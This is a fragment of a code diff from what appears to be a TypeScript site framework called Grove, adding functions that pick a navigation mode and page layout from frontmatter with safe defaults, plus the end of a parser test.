+ expect(toInlineProse(paragraph.children ?? [])).toEqual(c.tokens);
47
+ // And the canon here in grove's own dependency graph — the version this
48
+ // repo actually ships — produces the same shape the fixture pins.
49
+ expect(parseInlineProse(c.text)).toEqual(c.tokens);
50
+ });
51
+ }
52
+ });
package/src/lib/layout.ts CHANGED
@@ -20,6 +20,35 @@ function layoutKeyForDir(dir: string): string {
20
20
  return dir + '_layout.mdx';
21
21
  }
22
22
 
23
+ /**
24
+ * R3-309 — which nav arrangement the ROOT layout asks for. The root `_layout.mdx`'s
25
+ * frontmatter may carry `nav: top | nav: side`; anything else (absent, misspelled,
26
+ * another shape) falls back to `'side'`, the arrangement Grove has always shipped —
27
+ * an undeclared value must never render an unstyled page. The top arrangement is the
28
+ * base `.grove-shell` CSS; `side` is the variant, so both polarities of this choice
29
+ * have rules on the other side of the attribute.
30
+ */
31
+ export function resolveNavMode(
32
+ rootLayoutMeta: Record<string, unknown> | undefined,
33
+ ): 'top' | 'side' {
34
+ return rootLayoutMeta?.nav === 'top' ? 'top' : 'side';
35
+ }
36
+
37
+ /**
38
+ * R3-309 — which page variant (bucket B) an entry selects. `layout: doc | post |
39
+ * full` in the entry's frontmatter; anything else — absent, misspelled, a future
40
+ * value the CSS does not implement — falls back to `'doc'`, the reference look,
41
+ * rather than rendering an unstyled page. The declared set is exactly what
42
+ * `GroveApp.css` carries `[data-layout]` rules for; the consistency test pins the
43
+ * two together.
44
+ */
45
+ export function resolvePageLayout(
46
+ entryMeta: Record<string, unknown> | undefined,
47
+ ): 'doc' | 'post' | 'full' {
48
+ const v = entryMeta?.layout;
49
+ return v === 'post' || v === 'full' ? v : 'doc';
50
+ }
51
+
23
52
  /** Does an entry/layout opt out of an inherited layout chain? `frame: none`
24
53
  * (or `frame: false`) means "render me bare / stop inheritance above here". */
25
54
  function optsOut(meta: Record<string, unknown> | undefined): boolean {